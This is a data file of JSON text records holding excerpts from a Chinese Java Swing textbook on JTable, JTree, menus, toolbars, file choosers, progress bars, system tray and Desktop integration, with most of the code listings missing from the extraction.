    {"text": "（6）编写MfixedColumnTable类的构造方法，需要传入3个参数，分别为表格列名数组、表格数据数组和固定列数量，之后便是创建固定列表格、可移动列表格和滚动面板。 具体代码如下： （7）创建ExampleFrame_07类，编写测试提供行标题栏表格的代码，首先封装表格列名数组和表格数据数组，然后创建MfixedColumnTable类的对象，最后将其添加到窗体中。"},
    {"text": "关键代码如下： 21.4 小结 通过对本章的学习，相信读者已经可以熟练地使用JTable表格，包括通过各种方式创建表格、根据实际需要定制表格、通过编码操纵表格及维护表格模型。"},
    {"text": "通过阅读本章，您可以： 学会创建树 学会处理选中节点事件的方法 学会定制树的基本方法 掌握遍历树节点的方法 掌握维护树模型的方法 掌握处理展开节点事件的方法 22.1 简单的树 树状结构是一种常用的信息表现形式，它可以直观地显示出一组信息的层次结构。"},
    {"text": "Swing中的JTree类用来创建树，该类的常用构造方法如表22.1所示。 表22.1 JTree类的常用构造方法 DefaultMutableTreeNode类实现了TreeNode接口，用来创建树的节点。"},
    {"text": "表22.2 Default Mutable Tree Node类的常用构造方法 利用DefaultMutableTreeNode类的add(MutableTreeNode newChild)方法可以为该节点添加子节点，拥有子节点的节点称为父节点，没有父节点的节点称为根节点。"},
    {"text": "可以利用根节点通过构造方法JTree(TreeNode root)直接创建树，也可以先创建一个树模型TreeModel，然后再利用树模型通过构造方法JTree (TreeModel newModel)创建树。 DefaultTreeModel类实现了TreeModel接口，该类提供了以下两个构造方法，所以在利用该类创建树模型时必须指定树的根节点。 DefaultTreeModel(TreeNode root)：创建一个采用默认方式判断节点是否为叶子节点的树模型。 DefaultTreeModel(TreeNode root, boolean asksAllowsChildren)：创建一个采用指定方式判断节点是否为叶子节点的树模型。 由DefaultTreeModel类实现的树模型中，判断节点是否为叶子节点有两种方式。"},
    {"text": "默认方式为：如果节点不存在子节点，则为叶子节点，如图22.1所示。 另一种方式则是根据节点是否允许有子节点进行判断，只要不允许有子节点就是叶子节点； 如果允许有子节点，即使并不包含任何子节点，也不是叶子节点，如图22.2所示。"},
    {"text": "其中的一个是利用构造方法JTree(TreeNode root)直接创建的，其他两个是通过树模型创建的，分别采用默认和非默认的方式判断节点是否为叶子节点。"},
    {"text": "窗体左侧的树是直接创建的，中间的树是采用默认方式判断节点的，这两个树中名称为“一级子节点B”的节点图标均为叶子节点图标； 右侧的树是采用非默认方式判断节点的，该树中名称为“一级子节点B”的节点图标均为非叶子节点图标。"},
    {"text": "树的选择模式有3种，通过TreeSelectionModel类的对象可以设置树的选择模式。 可以通过JTree类的getSelectionModel()方法获得TreeSelectionModel类的对象，然后通过TreeSelectionModel类的setSelectionMode(int mode)方法设置选择模式。"},
    {"text": "表22.3 TreeSelectionModel类中代表选择模式的静态常量 图22.4 单选模式 图22.5 连选模式 图22.6 多选模式 当选中树节点和取消树节点的选中状态时，将发出TreeSelectionEvent事件，通过实现TreeSelectionListener接口可以捕获该事件。 TreeSelectionListener接口的具体定义如下： 当捕获发出的TreeSelectionEvent事件时，valueChanged(TreeSelectionEvent e)方法将被触发执行，此时通过JTree类的getSelectionPaths()方法可以获得所有被选中节点的路径，该方法将返回一个TreePath类型的数组； 通过getSelectionPath()方法将获得选中节点中索引值最小的节点的路径，即TreePath类的对象，也可以理解为选中节点中距离根节点最近的节点的路径。 在获得选中节点的路径之前，可以通过JTree类的isSelectionEmpty()方法查看是否存在被选中的节点，如果返回false，则表示存在被选中的节点，通过getSelectionCount()方法可以获得被选中节点的数量。 TreePath类表示树节点的路径，即通过该类可以获得子节点所属的父节点，以及父节点所属的上级节点，直到树的根节点。"},
    {"text": "（实例位置：\\TM\\sl\\22.02） 本例利用TreeSelectionListener监听器捕获了选中树节点和取消选中树节点的事件，并将选中节点的路径信息全部输出到控制台。"},
    {"text": "下面是本例的关键代码： 运行本例，将得到如图22.7所示的窗体，首先展开树的所有节点，然后选中“千山—世博园旅游”节点，最后追加选中“凤凰山—大鹿岛旅游”节点，在控制台将输出如图22.8所示的信息。"},
    {"text": "图22.7 处理选中节点事件 图22.8 输出到控制台的信息 22.3 遍历树节点 有时需要对树进行遍历，也就是遍历树中的部分或全部节点，以便查找某一节点，或者是对树中的节点执行某一操作。"},
    {"text": "前序遍历和后序遍历是一组相对的遍历方式，按前序遍历树节点的顺序如图22.9所示，通过preorderEnumeration()方法将返回按前序遍历的枚举对象； 按后序遍历树节点的顺序如图22.10所示，通过postorderEnumeration()方法将返回按后序遍历的枚举对象。 广度优先遍历和深度优先遍历是一组相对的遍历方式，以广度优先遍历树节点的顺序如图22.11所示，通过breadthFirstEnumeration()方法将返回以广度优先遍历的枚举对象； 以深度优先遍历树节点的顺序如图22.12所示，通过depthFirstEnumeration()方法将返回以深度优先遍历的枚举对象。 图22.9 按前序遍历 图22.10 按后序遍历 图22.11 以广度优先遍历 图22.12 以深度优先遍历 说明 因为后序遍历和深度优先遍历这两种遍历方式的具体遍历方法相同，所以图22.10和图22.12是相同的，实际上方法depthFirstEnumeration()只是调用了方法postorderEnumeration()。"},
    {"text": "（实例位置：\\TM\\sl\\22.03） 本例以按钮的形式实现了本节讲解的5种遍历方式，通过单击相应的按钮，可以在控制台查看具体的遍历方式。"},
    {"text": "图22.13 遍历树节点 22.4 定制树 在使用树时，经常需要对树进行一系列的设置，例如对节点图标的设置、对节点间连接线的设置以及对树展开状况的设置等，以便实现需要的视觉效果。"},
    {"text": "默认情况下显示树的根节点，但是不显示根节点手柄，如图22.14所示。 如果并不希望显示树的根节点，则可以调用setRootVisible(boolean rootVisible)方法，并将入口参数设为false，效果如图22.15所示。 如果希望在树的根节点前面也显示手柄，可以调用setShowsRootHandles(boolean newValue)方法，并将入口参数设为true，效果如图22.16所示。 图22.14 默认根节点设置 图22.15 不显示根节点 图22.16 显示根节点手柄 默认情况下树节点的图标效果如图22.17所示，其中 为非叶子节点的图标， 为叶子节点的图标。"},
    {"text": "方法setLeafIcon(Icon newIcon)用来设置叶子节点图标，如图22.18所示为不采用叶子节点图标的效果； 方法setClosedIcon(Icon newIcon)用来设置节点处于折叠状态时采用的图标，如图22.19所示为不采用节点折叠图标的效果； 方法setOpenIcon(Icon newIcon)用来设置节点处于展开状态时采用的图标，如图22.20所示为不采用节点展开图标的效果。 图22.17 默认图标 图22.18 叶子节点图标 图22.19 不采用节点折叠图标 图22.20 不采用节点展开图标 默认情况下在树节点之间绘制连接线，效果如图22.21所示。 通过putClientProperty(Object key,Object value)方法可以设置连接线的绘制方式，此时需要将入口参数key设置为JTree.lineStyle。 将入口参数value设置为None，表示不绘制节点间的连接线，效果如图22.22所示； 设置为Horizontal，表示绘制水平分栏线，绘制方式为仅在根节点和一级节点之间，或者是一级节点和一级节点之间，效果如图22.23所示； 设置为Angled，则表示绘制节点间的连接线，等效于默认设置。 图22.21 默认节点连接线 图22.22 取消节点连接线 图22.23 绘制水平分栏线 默认情况下只有树的根节点是展开的，其他子节点均处于折叠状态。"},
    {"text": "（实例位置：\\TM\\sl\\22.04） 本例利用树实现了一个分层的导航栏，并且在初次运行时树的所有节点处于展开状态，效果如图22.24所示。"},
    {"text": "未知 22.5 维护树模型 在使用树时，有时需要提供对树的维护功能，包括向树中添加新节点，以及修改或删除树中的现有节点，这些操作需要通过树的模型类DefaultTreeModel来实现。"},
    {"text": "insertNodeInto()方法的具体定义如下： insertNodeInto(MutableTreeNode newChild, MutableTreeNode parent, int index) insertNodeInto()方法中各个入口参数的说明如表22.6所示。 表22.6 insertNodeInto()方法中各个入口参数的说明 例如，假设要为节点parentNode添加一个子节点treeNode，当前在父节点parentNode（父节点parentNode为树模型treeModel中的一个节点）中已经存在6个子节点，现在要将该节点添加到所有子节点之后，典型代码如下： treeModel.insertNodeInto(treeNode, parentNode, parentNode.getChildCount()); （2）修改树节点 DefaultTreeModel类的nodeChanged(TreeNode node)方法用来通知树模型某节点已经被修改，如果修改的是节点的用户对象，修改信息将不会被同步到GUI界面。"},
    {"text": "例如，假设现在已经修改了树模型treeModel中的节点treeNode（修改的是节点treeNode的用户对象），通知树模型treeModel其组成节点treeNode已经被修改的典型代码如下： treeModel.nodeChanged(treeNode); （3）删除树节点 DefaultTreeModel类的removeNodeFromParent(MutableTreeNode node)方法用来从树模型中删除指定节点node。 例如，假设要从树模型treeModel中删除节点treeNode，典型代码如下： treeModel.removeNodeFromParent(treeNode); 注意 树的根节点不允许删除。"},
    {"text": "关键代码如下： 运行本例，将得到如图22.25所示的窗体，单击“添加”按钮后将向当前选中的节点中添加一个标签为“名称”文本框中内容的子节点；"},
    {"text": "当展开和折叠树节点时，将发出TreeExpansionEvent事件，通过实现TreeWillExpandListener接口，可以在树节点展开和折叠之前捕获该事件。 TreeWillExpandListener接口的具体定义如下： 如果此次事件是由将要展开节点发出的，treeWillExpand()方法将被触发； 如果此次事件是由将要折叠节点发出的，treeWillCollapse()方法将被触发。 通过实现TreeExpansionListener接口，可以在树节点展开和折叠时捕获该事件。 TreeExpansion-Listener接口的具体定义如下： 如果此次事件是由展开节点发出的，treeExpanded()方法将被触发； 如果此次事件是由折叠节点发出的，treeCollapsed()方法将被触发。"},
    {"text": "（实例位置：\\TM\\sl\\22.06） 本例为树添加了TreeWillExpandListener和TreeExpansionListener监听器，目的是向控制台输出相应的提示信息，以展示这两个监听器的使用方法。"},
    {"text": "关键代码如下： 运行本例，将得到如图22.26所示的窗体，首先展开“技术部”节点，然后展开“服务部”节点，最后折叠“技术部”节点，在控制台将输出如图22.27所示的信息。"},
    {"text": "图22.26 处理展开节点事件 图22.27 控制台的输出信息 22.7 小结 通过对本章的学习，相信读者已经能够熟练地使用JTree树，包括通过各种方式创建树，根据实际的需要定制树，遍历树的节点，维护树模型，处理选中节点事件和展开节点事件等。"},
    {"text": "（答案位置：\\TM\\sl\\22.08） 第23章 Swing其他高级组件 Swing还提供了一些高级组件，如分割面板、选项卡面板、菜单、工具栏、文件选择器，以及进度条、系统托盘和桌面集成控件。"},
    {"text": "通过阅读本章，您可以： 学会使用分割面板和选项卡面板 掌握桌面面板和内部窗体的使用方法 掌握菜单的使用方法 学会工具栏的使用方法 掌握文件选择器的使用方法 掌握进度条、系统托盘和桌面集成控件的使用方法 23.1 高级组件面板 前面已经学习了JPanel和JScrollPane面板的使用方法，但在某些情况下，这两个面板并不是很合适。"},
    {"text": "23.1.1 分割面板 分割面板由javax.swing.JSplitPane类实现，用来将其所在的区域分割成两部分，程序员可以根据实际情况决定是在水平方向上分割还是在垂直方向上分割。"},
    {"text": "表23.1 JSplitPane类的常用构造方法 JSplitPane类的oneTouchExpandable属性用来控制是否在分隔条上提供一个UI小部件，该小部件用来快速展开和折叠被分割的两个区域。"},
    {"text": "如果设置为true，则表示提供该小部件，如图23.3所示，在分隔条的上方提供了两个三角形按钮，单击这两个按钮，就可以快速地将相应的部分调整为占据分割面板所在整个区域，或者是恢复为之前的状态，通过setOneTouchExpandable(boolean isProvide)方法可以设置该属性的值。"},
    {"text": "（实例位置：\\TM\\sl\\23.01） 在本例中使用了两个分割面板，一个添加到了窗体中，为水平方向分割，对该面板只设置了分隔条的显示位置； 另一个添加到了水平分割面板的右侧，为垂直方向分割，对该面板主要设置了提供UI小部件，以及在调整分隔条位置时面板的重绘方式为连续绘制。"},
    {"text": "该实例的具体代码如下： 运行该实例，将得到如图23.4所示的窗体。 单击 按钮，将得到如图23.5所示的窗体，标签内容为2的部分不可见； 再单击 按钮，将恢复为如图23.4所示的窗体。"},
    {"text": "当用鼠标拖曳水平分割面板的分隔条时，面板并未重绘（标签内容的位置并未改变），如图23.6所示； 但当用鼠标拖曳垂直分割面板的分隔条时，面板则重绘了（标签内容的位置在随时改变），如图23.7所示。 当用拖曳分隔条的方式调整分隔条的位置时，并不能将分隔条拖曳到分割面板的边缘，如图23.8所示；"},
    {"text": "图23.4 运行效果 图23.5 单击 按钮后恢复位置 图23.6 完成后重绘 图23.7 过程中重绘 图23.8 拖曳分隔条无法实现最小组件 技巧 在向分割面板中添加组件或面板时，如果是在水平方向上分割面板，通过方法setTopComponent(Component comp)和setBottomComponent(Component comp)也可以分别将组件或面板添加到分隔条的左侧和右侧； 同样，如果是在垂直方向上分割面板，通过方法setLeftComponent(Component comp)和setRightComponent(Component comp)也可以分别将组件或面板添加到分隔条的上方和下方。"},
    {"text": "23.1.2 选项卡面板 选项卡面板由javax.swing.JTabbedPane类实现，它实现了一个多卡片的用户界面，通过它可以将一个复杂的对话框分割成若干个选项卡，实现对信息的分类显示和管理，使界面更简洁大方，还可以有效地减少窗体的个数。"},
    {"text": "表23.3 JTabbedPane类的所有构造方法 图23.9 在选项卡上方 图23.10 在选项卡下方 图23.11 在选项卡左侧 图23.12 在选项卡右侧 如果窗体中能够显示出所有选项卡的标签，显示效果如图23.13所示。"},
    {"text": "如果窗体中不能够显示出所有选项卡的标签，且采用的是默认布局WRAP_TAB_LAYOUT，显示效果如图23.14所示； 如果采用的是滚动布局SCROLL_TAB_LAYOUT，显示效果如图23.15所示。 图23.13 能够显示出所有选项卡标签 图23.14 限制布局（默认布局） 图23.15 滚动布局 JTabbedPane类中的常用方法如表23.4所示。"},
    {"text": "图23.16 实例运行效果 图23.17 查看提示信息 图23.18 查看控制台的输出信息 23.1.3 桌面面板和内部窗体 在一个GUI应用程序中需要使用多个窗口，针对这些窗口可以有两种管理策略。"},
    {"text": "一种是每个窗口都是一个独立的窗体，其优点是可以通过系统主窗体上的按钮及快捷键浏览所有窗口； 另一种则是提供一个主窗体，然后将其他窗口放在主窗体中，其优点是窗口比较整齐。"},
    {"text": "JDesktopPane类是一个容器类，用来创建一个虚拟的桌面； JInternalFrame类是一个轻量级对象，用来创建支持拖动、关闭、图标化、调整大小、标题显示和菜单栏的内部窗体，该内部窗体需要显示在由JDesktopPane类创建的桌面面板中。"},
    {"text": "1. JDesktopPane类 JDesktopPane类中的常用方法如表23.5所示。 表23.5 JDesktopPane类中的常用方法 所谓窗体的拖动模式，就是在拖动窗体时窗体的重绘方式。 有两种可选模式：一种是在拖动窗体的过程中连续重绘被拖动的窗体，由静态常量LIVE_DRAG_MODE表示，如图23.19所示为拖动前的位置，如图23.20所示为该模式下拖动窗体时的效果； 另一种是在拖动窗体的过程中只连续重绘被拖动窗体的边框，拖动完成后再重绘被拖动的窗体，由静态常量OUTLINE_DRAG_MODE表示，如图23.19所示为拖动前的位置，如图23.21所示为该模式下拖动窗体时的效果。 图23.19 拖动前的位置 图23.20 完全绘制拖动模式 图23.21 绘制边框拖动模式 在使用桌面面板时，通常希望在桌面中显示一个背景图片，这样既美观，又可以显示关于软件的一些信息。"},
    {"text": "下面是一个为桌面面板添加背景图片的实例。 【例23.3】为桌面面板添加背景图片。 （实例位置：\\TM\\sl\\23.03） 可以通过下面的代码实现为桌面面板添加背景图片的功能，实现思路是将一个显示背景图片的标签组件添加到桌面所有窗体的最后方。 注意 为了防止桌面的背景图片遮挡住其包含的窗口，这里将用来显示背景图片的标签组件添加到桌面面板的最底层，即new Integer(Integer.MIN_VALUE)层，以保证它总是绘制在桌面所有内容的后面。"},
    {"text": "2. JInternalFrame类 JInternalFrame类共有6个构造方法，其中入口参数最多的为5个，用来创建具有指定标题，并且可自由调整大小、可关闭、可最大化和最小化的窗体。 该构造方法的具体定义如下： JInternalFrame(String title, boolean resizable, boolean closable, boolean maximizable, boolean iconifiable 各入口参数的具体功能如表23.6所示。 表23.6 JInternalFrame类的构造方法入口参数说明 创建得到的可自由调整大小、可关闭、可最大化和最小化的窗体依次如图23.22～图23.25所示。 图23.22 允许自由调整大小 图23.23 提供“关闭”按钮 图23.24 提供“最大化”按钮 图23.25 提供“最小化”按钮 JInternalFrame类中的常用方法如表23.7所示。 表23.7 JInternalFrame类中的常用方法 【例23.4】使用桌面面板和内部窗体。"},
    {"text": "（实例位置：\\TM\\sl\\23.04） 本例展示了桌面面板和内部窗体的使用方法，主要包括为桌面面板添加背景图片、设置内部窗体的拖曳方式、设置窗体的相关属性、判断窗体的状态，以及级联显示窗体的方法。"},
    {"text": "依次将这3个窗体最小化后的效果如图23.27所示； 如图23.28所示为最大化“人事管理”窗体后的效果。 图23.26 级联显示内部窗体 图23.27 最小化的内部窗体 图23.28 最大化的内部窗体 23.2 菜单 菜单包括菜单栏和弹出式菜单，其优点是内容丰富、层次鲜明、使用快捷，其中弹出式菜单还具有方便灵活的特点。"},
    {"text": "23.2.1 创建菜单栏 位于窗口顶部的菜单栏包括菜单名称、菜单项以及子菜单。 创建菜单栏的基本步骤如下： （1）创建菜单栏对象，并添加到窗体的菜单栏中。 （2）创建菜单对象，并将菜单对象添加到菜单栏对象中。 （3）创建菜单项对象，并将菜单项对象添加到菜单对象中。"},
    {"text": "（5）如果需要，还可以在菜单中包含子菜单，即将菜单对象添加到其所属的上级菜单对象中。 （6）通常情况下一个菜单栏包含多个菜单，可以反复通过步骤（2）~（5）向菜单栏中添加。"},
    {"text": "JMenu类用来创建菜单，菜单用来添加菜单项和子菜单，从而实现对菜单项的分类管理。 该类除了拥有默认的没有入口参数的构造方法外，还有一个常用的构造方法JMenu(String s)，用来创建一个具有指定名称的菜单。"},
    {"text": "JMenu类中的常用方法如表23.8所示。 表23.8 JMenu类中的常用方法 说明 表23.8中方法getMenuComponentCount()的说明提到了分隔线，在23.2.3节中将讲解分隔线的使用方法。"},
    {"text": "【例23.5】创建菜单栏。 （实例位置：\\TM\\sl\\23.05） 本例按照创建菜单栏的步骤，创建了一个典型的菜单栏，目的是展示创建菜单栏的具体步骤，以及所得菜单栏的具体效果。 （1）利用JMenuBar类创建一个菜单栏对象，并将该菜单栏对象添加到窗体的菜单栏中。 关键代码如下： （2）利用JMenu类创建一个菜单对象，并将该菜单对象添加到菜单栏对象中。 关键代码如下： （3）利用JMenuItem类创建一个菜单项对象，并将该菜单项对象添加到菜单对象中。"},
    {"text": "关键代码如下： （4）为菜单项添加ActionListener监听器，捕获菜单项被单击的事件，从而完成相应的业务逻辑。 这里只是输出了被单击菜单项的标签，下面是监听器的完整代码： 下面的代码负责为相应的菜单项添加事件监听器。"},
    {"text": "menuItem.addActionListener(new ItemListener()); 运行本例，如图23.29所示为本实例所创建菜单“菜单名称”的展开效果。 如图23.30所示为本实例所创建菜单“菜单名称2”的展开效果。 图23.29 菜单“菜单名称”的展开效果 图23.30 菜单“菜单名称2”的展开效果 23.2.2 创建弹出式菜单 创建弹出式菜单和创建菜单栏的步骤基本相似，只是在创建菜单栏时第一步创建的是JMenuBar类的对象，而创建弹出式菜单的第一步创建的是JPopupMenu类的对象，然后通过为需要弹出该菜单的组件添加鼠标事件监听器，在捕获弹出菜单事件时弹出该菜单。 【例23.6】创建弹出式菜单。 （实例位置：\\TM\\sl\\23.06） 本例实现了一个弹出式菜单，目的是展示弹出式菜单的创建方法。 由于仅与创建菜单栏的第一步不同，这里只给出了创建弹出式菜单以及将弹出式菜单注册给指定组件的代码。"},
    {"text": "关键代码如下： 运行本实例，在窗口中右击，在弹出的快捷菜单中依次选择“编辑”/“字体”/“斜体”命令，将得到如图23.31所示的效果。"},
    {"text": "图23.31 弹出式菜单的展开效果 23.2.3 定制个性化菜单 在设计菜单时，只是简单地使用类似按钮的菜单项是不够的，因为这样的菜单既不美观，又不实用。 本节将深入学习定制个性化菜单的方法，例如，对分隔线和图标的使用、为菜单设置快捷键和加速器的方法、单选按钮和复选框菜单项的使用方法，以及启用和禁用菜单的方法。 1. 使用分隔线和图标 在定制菜单时，通常将功能相似或相关的菜单项放在一起，然后用分隔线将它们与其他的菜单项隔开，这样用户在使用时会更加方便和直观。"},
    {"text": "JMenu类的addSeparator()方法和insertSeparator(int index)方法均用来向菜单中添加分隔线， addSeparator()方法用来向菜单的尾部添加分隔线，insertSeparator (int index)方法用来向指定索引位置插入分隔线，索引值从0开始。 例如，实现一个如图23.32所示的“文件”菜单，如果是通过addSeparator()方法向菜单中添加分隔线，向“文件”菜单中添加菜单项、子菜单和分隔线的顺序依次为“新建”菜单项、“打开”子菜单、分隔线、“保存”菜单项、分隔线、“退出”菜单项； 如果是通过insertSeparator(int index)方法向菜单中添加分隔线，可以先向“文件”菜单中添加菜单项和子菜单，最后再向索引为2和4的位置插入分隔线。"},
    {"text": "图23.32 使用分隔线 图23.33 使用图标 2. 设置快捷键和加速器 对于用户来说，快捷键会给他们使用软件带来很大方便。 下面介绍为菜单和菜单项设置快捷键的方法，以及为菜单项设置加速器的方法。 为菜单和菜单项设置快捷键均通过setMnemonic(int mnemonic)或setMnemonic(char mnemonic)方法实现。"},
    {"text": "setMnemonic(int mnemonic)方法的入口参数为与键盘助记符对应的键值，可以是键盘上的任意键，可以通过java.awt.event.KeyEvent类中定义的以“VK_”开头的静态常量指定； setMnemonic(char mnemonic)方法的入口参数为键盘助记符，该方法仅支持将A~Z的键设置为快捷键。"},
    {"text": "如果在菜单或菜单项名称中存在指定的键盘助记符，会为该键盘助记符添加一条下画线，如图23.32和图23.33所示，所有带有下画线的键盘助记符所对应的键均为快捷键。 例如，为“文件”菜单设置快捷键可以通过下面两种方式来实现： 注意 快捷键不区分大小写，即无论是否按下Shift键，都将激活相应的菜单或菜单项。"},
    {"text": "为菜单项设置加速器通过setAccelerator(KeyStroke keyStroke)方法实现，该方法接受KeyStroke类的对象，可以通过静态方法getKeyStroke(int keyCode, int modifiers)获得该类的对象。"},
    {"text": "java.awt.event.InputEvent.CTRL_MASK。 java.awt.event.InputEvent.ALT_MASK。 java.awt.event.InputEvent.SHIFT_MASK。 java.awt.event.InputEvent.META_MASK。"},
    {"text": "下面是3种比较典型的设置方法： 3. 使用单选按钮和复选框菜单项 在定制菜单时，也可以将单选按钮和复选框菜单项添加到菜单中，它们在有些情况下会更适用。"},
    {"text": "例如，在如图23.34所示的设置字体的菜单中，使用复选框菜单项则更加直观； 在如图23.35所示的设置文件属性的菜单中，使用单选按钮菜单项则更加直观。"},
    {"text": "复选框菜单项通过JCheckBoxMenuItem类实现，单选按钮菜单项通过JRadioButtonMenuItem类实现，这两个类均继承了JMenuItem类，所以针对普通菜单项的设置对这两个菜单项均适用。 注意 对于单选按钮菜单项，也必须添加到按钮组中，这样才能实现单选按钮的功能。"},
    {"text": "可以通过方法setEnabled(boolean b)设置菜单项的启用或禁用状态，如果设为true，则表示启用菜单项，设为false则表示禁用菜单项，也可以通过该方法启用或禁用菜单。"},
    {"text": "图23.34 使用复选框菜单项 图23.35 使用单选按钮菜单项 图23.36 被禁用的菜单项 【例23.7】定制个性化菜单。 （实例位置：\\TM\\sl\\23.07） 本例实现了一个典型的菜单栏，其中包括对菜单项、分隔线、子菜单、快捷键、加速器、单选按钮和复选框菜单项等功能的使用，以及禁用菜单项功能，并且为所有菜单项添加了动作事件监听器，在菜单项被激活时控制台将输出该菜单项被执行的提示。"},
    {"text": "下面是创建“文件”菜单及其“新建”菜单项和“打开”子菜单的关键代码。 下面是创建“字体”子菜单的关键代码，它包含的为复选框菜单项： 下面是创建“属性”子菜单的关键代码，它包含的为单选按钮菜单项。"},
    {"text": "在使用一组单选按钮时，一定要将这些单选按钮添加到按钮组中： 运行本例，依次选择“文件”/“打开”命令，将得到如图23.37所示的效果，会发现“刚打开过的”菜单项为灰色，即被禁用了； 依次选择“编辑”/“字体”命令，将得到如图23.38所示的效果，该子菜单包含的是复选框菜单项； 依次选择“编辑”/“属性”命令，将得到如图23.39所示的效果，该子菜单包含的是单选按钮菜单项。 图23.37 不可用的菜单项 图23.38 复选框菜单项 图23.39 单选按钮菜单项 23.3 工具栏 工具栏中提供了常用命令的快速执行按钮，可以将它们随意拖曳到窗体的四周，如图23.40～图23.43所示；"},
    {"text": "甚至可以脱离窗体，如图23.44所示，在这种情况下，关闭工具栏时会自动恢复到脱离之前的位置。 图23.40 在上方 图23.41 在左侧 图23.42 在下方 图23.43 在右侧 图23.44 脱离窗体 如果希望工具栏可以随意拖动，窗体一定要采用默认的边界布局方式，并且不能在边界布局的四周添加任何组件。 工具栏默认是可以随意拖动的，如果不允许随意拖动，可以通过调用setFloatable(boolean b)方法将入口参数设为false实现，设为true则表示允许随意拖动。"},
    {"text": "在利用JToolBar类创建工具栏对象时，如果是通过构造方法JToolBar()创建的，当工具栏脱离窗体时，工具栏窗体则没有标题。 可以通过构造方法JToolBar(String name)创建具有指定标题的工具栏。"},
    {"text": "利用add(Component comp)方法可以将按钮添加到工具栏的末尾，在这期间可以利用addSeparator()方法在按钮之间添加默认大小的分隔符，也可以利用addSeparator(Dimension size)方法添加指定大小的分隔符。"},
    {"text": "图23.45 创建工具栏 23.4 文件选择器 在开发应用程序时，经常需要选择文件，例如，从文件中导入数据，或者选择用户照片等，通过javax.swing.JFileChooser类可以轻松地实现这个功能。 23.4.1 文件选择对话框 JFileChooser类提供了一个供用户选择文件的对话框。 利用该类创建文件选择对话框以及获取用户选择文件的基本步骤如下： （1）创建一个JFileChooser类的对象。"},
    {"text": "（2）默认情况下每次只能选择一个文件，如果希望允许同时选择多个文件，可以通过调用setMultiSelectionEnabled(boolean b)方法设置，将入口参数设为true即表示允许多选。 （3）默认情况下只允许选择文件，如果希望允许选择文件夹，可以通过调用setFileSelectionMode(int mode)方法设置，入口参数可选的静态常量有FILES_ONLY（只允许选择文件）、DIRECTORIES_ONLY（只允许选择路径）和FILES_AND_DIRECTORIES（均可选择）。 （4）如果只希望在对话框中列出指定类型的文件，可以调用setFileFilter(FileFilter filter)方法设置文件过滤器。 （5）设置完成后调用showOpenDialog(Component parent)方法显示对话框，该方法将返回一个int型值，用来判断用户是否选择了文件或路径。 （6）如果用户选择了文件或路径，可以通过getSelectedFile()或getSelectedFiles()方法获得，getSelectedFile()方法返回的是File对象，getSelectedFiles()方法返回的是File型数组。"},
    {"text": "图23.46 文件选择对话框 23.4.2 使用文件过滤器 如果只希望在对话框中列出指定类型的文件，可以调用setFileFilter(FileFilter filter)方法设置文件过滤器。"},
    {"text": "javax.swing.filechooser.FileFilter类是一个抽象类，该类的具体定义如下： 可以通过实现该类对文件进行过滤，其中accept(File f)方法用来过滤文件，如果返回true，则表示显示到文件选择对话框中，如果返回false，则不显示；"},
    {"text": "类javax.swing.filechooser.FileNameExtensionFilter实现了FileFilter类，该类只提供了一个构造方法FileNameExtensionFilter(String description, String…extensions)，其第一个入口参数为“文件类型”的描述信息，其他参数均为允许显示到文件选择对话框中的文件类型。"},
    {"text": "（实例位置：\\TM\\sl\\23.10） 本例利用文件过滤器对文件进行了过滤，使文件选择对话框中只列出格式为JPG或GIF格式的图片。 关键代码如下： 运行本例后双击窗口，将弹出如图23.47所示的文件选择对话框，此时打开的路径与图23.46相同，但却只列出了文件夹以及格式为JPG和GIF的图片。"},
    {"text": "进度条是一个矩形组件，通过填充它的部分或全部来指示一个任务的执行情况。 默认情况下为确定任务执行进度的进度条效果如图23.48所示，填充区域会逐渐增大； 如果并不确定任务的执行进度，可以通过调用setIndeterminate(boolean b)方法设置进度条的样式，设为true表示不确定任务的执行进度，填充区域会来回滚动，效果如图23.49所示；"},
    {"text": "默认情况下在进度条中不显示提示信息，可以通过调用setStringPainted(boolean b)方法设置是否显示提示信息，设为true表示显示，设为false则表示不显示。 如果是将确定进度的进度条设置为显示提示信息，默认为显示当前任务完成的百分比，如图23.50所示，也可以通过setString(String s)方法设置指定的提示信息； 如果是将不确定进度的进度条设置为显示提示信息，则必须设置指定的提示信息，否则将出现如图23.51所示的不和谐效果。 图23.48 指示确定进度 图23.49 指示不确定进度 图23.50 显示提示信息 图23.51 不和谐效果 如果采用确定进度的进度条，进度条并不能自动获取任务的执行进度，必须通过setValue(int n)方法反复修改当前的执行进度，如将入口参数设置为66，则将显示为66%； 如果是采用不确定进度的进度条，则需要在任务执行完成后将其设置为采用确定进度的进度条，并将任务的执行进度设置为100%，或者是设置指定的提示已经完成的信息。"},
    {"text": "下面是创建进度条的关键代码： 下面的代码利用线程模拟了一个在线升级的任务，在执行任务的过程中反复修改任务的执行进度，并在任务完成后设置指定的提示信息。"},
    {"text": "运行本实例，将得到如图23.52所示的效果； 升级结束后，将得到如图23.53所示的效果； 如果将下面的代码注释掉，将得到如图23.54所示的效果。"},
    {"text": "图23.52 不确定进度的效果 图23.53 完成后的效果 图23.54 确定进度的效果 23.6 系统托盘 利用SystemTray类可以访问系统托盘，每个Java应用程序在运行时都会被分配一个该类的实例，可以通过该类的静态方法getSystemTray()获得。"},
    {"text": "通过方法add(TrayIcon trayIcon)可以为当前应用程序添加托盘图标到系统托盘； 可以为一个应用程序添加多个托盘图标； 当不再需要托盘图标时，可以通过方法remove(TrayIcon trayIcon)移除指定的托盘图标。 每个TrayIcon类的对象代表一个托盘图标，托盘图标必须包含图像，可以通过getSize()方法（或SystemTray类的getTrayIconSize()方法）获得系统托盘支持托盘图像的最大尺寸，也可以包含提示信息和弹出菜单。"},
    {"text": "（实例位置：\\TM\\sl\\23.12） 本例向系统托盘中添加托盘图标，并且为托盘图标设置提示信息和弹出菜单，通过弹出菜单可以退出程序。 本例的关键代码如下： 运行本实例后将光标移动到系统托盘图标上，将显示提示信息，效果如图23.55所示； 然后右击，将弹出一个菜单，效果如图23.56所示；"},
    {"text": "图23.55 提示信息 图23.56 弹出菜单 23.7 桌面集成控件 利用Desktop类可以在Java应用程序中启动已经在本机上注册的应用程序，如通过启动默认的浏览器显示指定的网站、打开或编辑指定的文件等。"},
    {"text": "通过Desktop类的静态方法isDesktopSupported()可以判断当前系统是否提供了对该类的支持，如果支持，则返回true，否则将返回false。 Desktop类提供的每一种操作都属于Desktop.Action类表示的一种动作类型，所以在执行具体操作之前，还可以通过isSupported(Action action)方法判断是否支持相应的动作。"},
    {"text": "关键代码如下： 23.8 小结 通过对本章的学习，相信读者已经掌握了Swing的一些高级组件，如分割面板、选项卡面板、菜单、工具栏、文件选择器、进度条、系统托盘等的用法。"},
